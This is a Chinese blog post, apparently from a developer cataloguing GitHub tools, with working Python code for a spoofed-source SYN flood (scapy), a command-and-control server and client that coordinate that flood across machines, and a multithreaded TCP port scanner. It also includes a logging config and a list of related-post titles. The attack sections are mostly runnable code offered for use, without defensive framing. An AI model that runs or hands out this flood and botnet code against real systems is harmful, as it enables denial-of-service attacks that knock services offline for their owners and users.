python实现端口扫描器/DoS/DDoS
整理github,梳理下Python小工具。以下是python实现的DoS/DDoS/端口扫描器(github)。
一、DoS
SYN Flood是当前最流行的DoS(拒绝服务攻击)与DdoS(分布式拒绝服务攻击)的方式之一,这是一种利用TCP协议缺陷,发送大量伪造的TCP连接请求,从而使得被攻击方资源耗尽(CPU满负荷或内存不足)的攻击方式。参考链接:https://baike.so.com/doc/5503756-5739500.html
利用python的scapy库可以很容易的实现DoS攻击。简单来说,scapy就是模拟客户端TCP链接的第一次握手,发送携带syn的数据包给服务端。当服务端返回syn+ack应答时,正常的客户端应该发送携带ack的响应以完成3次握手。而不正常的客户端不再响应,当有数以万记的这样的客户端时,服务器会维护一个非常大的半连接列表而消耗非常大的资源。最后导致堆栈溢出,或是服务端失去响应。
scapy库可以很容易的模拟不同的src来发起连接,所有脚本需要在root下执行。
#!/usr/bin/env python3
import random
from scapy.all import *
def synFlood(target, dPort):
srcList = ['201.1.1.2','10.1.1.12','69.1.1.2','125.130.5.199']
for sPort in range(1025,65535):
index = random.randrange(4)
ipLayer = IP(src=srcList[index],dst=target)
tcpLayer = TCP(sport=sPort,dport=dPort,flags='S')
packet = ipLayer/tcpLayer
send(packet)
二、DDoS
DDoS相比DoS,不再是一个客户端发起攻击,而是由一台服务器通过socket与多台客户端建立连接,当服务器下发攻击命令时,所有客户端一起向目标机器发起攻击。
1)server部分
服务端首先需要创建socket,绑定端口和网络地址。同时开辟一个线程来建立连接,当有新的连接建立时,把连接实例存放到一个列表中。发送命令时,遍历列表,向每个socket实例发送命令。
# -*- coding:utf-8 -*-
#!/usr/bin/env python3
import socket
import argparse
from threading import Thread
import logging
import logging.config
logging.config.fileConfig("logger.conf")
logger = logging.getLogger("serverLogger")
socketList = []#成功建立连接的socket实例列表
def sendCmd(cmd):
print('Send command...')
for sock in socketList:
sock.send(bytes(cmd,encoding='utf-8'))
def waitConnect(s):
while True:
sock,addr = s.accept() #sock是已经建立连接的socket 实例
if sock not in socketList:
socketList.append(sock)
def main():
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.bind(('0.0.0.0',58868))
s.listen(1024)
t = Thread(target=waitConnect,args=(s,))#开辟线程来建立连接
t.start()
print('Wait at least a client connection')
while not len(socketList):
pass
print('It has been a client connection')
while True:
print('='*50)
print('The command format:"#-H xxx.xxx.xxx.xxx -p xxxx -c <start|stop>"')
cmd_str = input('Please input cmd:')
if len(cmd_str):
if cmd_str[0]=='#':
sendCmd(cmd_str)
else:
logging.error('error format!')
logging.error(cmd_str)
if __name__=='__main__':
main()
2)client部分
client部分主要负责对服务端发送的命令进行解析(argparse模块)。如果命令格式正确,判断当前是否有攻击在执行,如果有,则停止攻击的进程,重新发起攻击;如果没有,则直接发起攻击。
#!/usr/bin/env python3
# -*- coding:utf-8 -*-
import socket
import sys
import random
import argparse
from multiprocessing import Process
from scapy.all import *
import os
import logging
import logging.config
logging.config.fileConfig("logger.conf")
logger = logging.getLogger("clientLogger")
isWorking = False
curProcess = None
#synFlood攻击
def synFlood(target, dPort):
print('='*100)
print('The syn Flood is running!')
logging.info('The syn Flood is running!')
print('='*100)
srcList=['201.1.1.2','10.1.1.102','69.1.1.2','125.130.5.199']
for sPort in range(1025,65535):
index = random.randrange(4)
ipLayer = IP(src=srcList[index],dst=target)
tcpLayer = TCP(sport=sPort,dport=dPort,flags='S')
packet = ipLayer/tcpLayer
send(packet)
#处理命令
def cmdHandle(sock, parser):
global curProcess
while True:
data = sock.recv(1024).decode('utf-8')
if len(data)==0:
print('The data is empty!')
logging.error('The data received is empty!')
return
if data[0]=='#':
try:
options = parser.parse_args(data[1:].split())
m_host = options.host
m_port = options.port
m_cmd = options.cmd
if m_cmd.lower()=='start':
if curProcess !=None and curProcess.is_alive():
curProcess.terminate()
curProcess = None
os.system('clear')
logging.info('stop current process to prepare for new process.')
print('The synFlood is start')
logging.info('The synFlood is start')
p = Process(target=synFlood,args=(m_host,int(m_port)))
p.start()
curProcess = p
elif m_cmd.lower() == 'stop':
if curProcess !=None and curProcess.is_alive():
curProcess.terminate()
os.system('clear')
logging.info('stop current process.')
except (Exception) as e:
print(e)
print('Failed to perform the command!')
logging.error('command format error.')
def main():
p = argparse.ArgumentParser()
p.add_argument('-H', dest='host',type=str)
p.add_argument('-p', dest='port',type=str)
p.add_argument('-c', dest='cmd', type=str)
print('*'*40)
try:
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(('127.0.0.1',58868))
print('To connected server was success!')
print('='*40)
cmdHandle(s,p)
except (Exception) as e:
print (e)
logging.error(e)
print('The network connected failed!')
print('Please restart the script')
sys.exit(0)
if __name__=='__main__':
main()
3)日志记录
这里使用Python的logging模块进行记录。存在一个bug,不知道有同学能帮忙看出问题在哪里么?Client模块和Server模块使用了不同的logger,预期分别记录到Client.log和Server.log中。但结果全部都会记录到Server.log中。
logger.conf设置如下:
###############
[loggers]
keys = root,serverLogger,clientLogger
[logger_root]
handlers = serverHandler
level = DEBUG
[logger_serverLogger]
handlers = serverHandler
qualname = serverLogger
propagate = 0
[logger_clientLogger]
handlers = clientHandler
qualname = clientLogger
propagate = 0
####################
[handlers]
keys = serverHandler,clientHandler
[handler_serverHandler]
class = FileHandler
level = DEBUG
formatter = serverFormatter
args = ("logs/Server.log","a")
[handler_clientHandler]
class = FileHandler
level = DEBUG
formatter = clientFormatter
args = ("logs/Client.log","a")
#################
[formatters]
keys = serverFormatter,clientFormatter
[formatter_serverFormatter]
format=%(asctime)s %(filename)s [line:%(lineno)d] %(levelname)s %(message)s
datefmt = %d %b %Y %H:%M:%S
[formatter_clientFormatter]
format=%(asctime)s %(filename)s [line:%(lineno)d] %(levelname)s %(message)s
datefmt = %d %b %Y %H:%M:%S
三、端口扫描器
端口扫描是指客户端向一定范围内的服务器端口发送对应请求,以此确认可使用的端口。常被计算机管理员用于确认安全策略,同时被攻击者用于识别目标主机上可运行的服务。
这里使用socket建立对待扫描的端口,建立完成的TCP连接。如果能够建立,说明端口是开放的。判断完毕后关闭连接。使用多线程来执行每一个TCP连接:
#!/usr/bin/env python3
import sys
import _thread
from socket import *
def tcp_test(port):
sock = socket(AF_INET,SOCK_STREAM)
sock.settimeout(10)
result = sock.connect_ex((target_ip, port))
if result==0:
lock.acquire()
print("Opened Port: ", port)
lock.release()
if __name__ == '__main__':
#scanPort_multi_thread.py <host> <start_port>-<end_port>
host = sys.argv[1]
portstrs = sys.argv[2].split('-')
start_port = int(portstrs[0])
end_port = int(portstrs[1])
target_ip = gethostbyname(host)
lock = _thread.allocate_lock()
for port in range(start_port, end_port):
_thread.start_new_thread(tcp_test, (port,))
python实现端口扫描器/DoS/DDoS的更多相关文章
- Python开发端口扫描器
首先是最常用的端口扫描器: 虽说有nmap等强大的工具,不过如果由于条件限制无法安装Nmap呢? 我这个脚本写的比较简单,默认扫描1-65535全部的端口 实际的话,可以根据需要自己修改脚本来实现定制 ...
- Python之端口扫描器编写
其实,写个扫描器也挺好玩的,牵涉到了RAW Socket编程,可以尽情地DIY数据包(当然,不符合数据包规则,比如checksum错误就没办法了),收获颇深.其中,我觉得用C语言写更有利于在编写过程中 ...
- 再议perl写多线程端口扫描器
再议perl写多线程端口扫描器 http://blog.csdn.net/sx1989827/article/details/4642179 perl写端口多线程扫描器 http://blog.csd ...
- Python与Hack之window下运行带参数的Python脚本,实现一个简单的端口扫描器
1.前提是:windows已经配置好Python的环境变量: 2.进入cmd命令行模式: **输入python命令,检测是否环境配置好:显示这样说明配置环境变量没问题 **用cd命令进入Python脚 ...
- python端口扫描器
吃了个火鸡面后感觉到了怀疑人生!!!!!!!!!妈耶,在也不吃了.思路都给辣没了!!! python端口扫描器代码如下: #-*-coding:utf-8 from socket import * i ...
- python实现FTP弱口令扫描器与简单端口扫描器
python实现FTP弱口令扫描器与简单端口扫描器 目录 FTP弱口令扫描器 简单端口扫描器 参考: https://blog.csdn.net/rebelqsp/article/details/22 ...
- 使用Python编写简单的端口扫描器的实例分享【转】
转自 使用Python编写简单的端口扫描器的实例分享_python_脚本之家 http://www.jb51.net/article/76630.htm -*- coding:utf8 -*- #!/ ...
- Python脚本写端口扫描器(socket,python-nmap)
目录 Socket模块编写 扫描给定主机是否开放了指定的端口 python-nmap模块编写 扫描给定ip或给定网段内指定端口是否开放 一个用python写的简单的端口扫描器,python环境为 3. ...
- 『Python』 多线程 端口扫描器
0x 00 Before Coding 当端口打开时,向端口发送 TCP SYN 请求,会返回一个 ACK 响应: 当端口关闭,返回的是 RST 响应: 0x 01 Coding 可以用 socke ...
随机推荐
- 什么是ObjCTypes?
先看一下消息转发流程: 在forwardInvocation这一步,你必须要实现一个方法: - (NSMethodSignature *)methodSignatureForSelector:(SEL ...
- feed 流数据请求时机的两个思路
最近 SF 首页 进行了大改版,效果如下: 其他地方都没什么难点,中间的 feed 流思考了不少时间,效果需要类似微博或者知乎 feed 流.之前一直没有做过类似的功能,现总结两个方案. 方案一 方案 ...
- JAVA基础-File类
一.File类概述 File类是文件和目录路径名的抽象表示形式.File类可以理解为一个文件路径或者文件夹路径的JAVA表现形式,而路径又可以分为绝对路径(是一个固定路径,从盘符开始),相对路径(相对 ...
- 列表(List) 的增删改查及其他方法 和元组(tuple)的查
一.列表 1.列表简介: 列表是python中的基础数据类型之一,其他语言中也有类似于列表的数据类型,比如js中叫数组,他是以[]括起来,每个元素以逗号隔开,而且他里面可以存放各种数据类型比如:li ...
- JavaWeb(二)cookie与session的应用
前言 前面讲了一堆虚的东西,所以这篇我们来介绍一下cookie和session的应用. 一.使用cookie记住用户名 1.1.思路介绍 1.2.实现代码 1)LoginServlet package ...
- TCP/IP(三)数据链路层~1
前言 其实前面一堆讲的物理层的概念,会感觉特别的难理解,因为这是一个非常强大的计算机网络体系的底层知识,没有关系!我们大致了解一下就行了. 一.数据链路层概述 这是百度的简介 看图:理解一下,数据链路 ...
- Ubuntu环境下IPython的搭建和使用
1. Ubuntu操作系统版本 说明:Ubuntu 12.04.3 LTS自带的Python 2.7.3版本. 2. 安装IPython 说明: 输入命令sudo apt-get install ip ...
- Codeforces 777C Alyona and Spreadsheet
C. Alyona and Spreadsheet time limit per test:1 second memory limit per test:256 megabytes input:sta ...
- BZOJ:4816: [Sdoi2017]数字表格
4816: [Sdoi2017]数字表格 Time Limit: 50 Sec Memory Limit: 128 MBSubmit: 501 Solved: 222[Submit][Status ...
- Codeforces Round #411 (Div. 2)(A,B,C,D 四水题)
A. Fake NP time limit per test:1 second memory limit per test:256 megabytes input:standard input out ...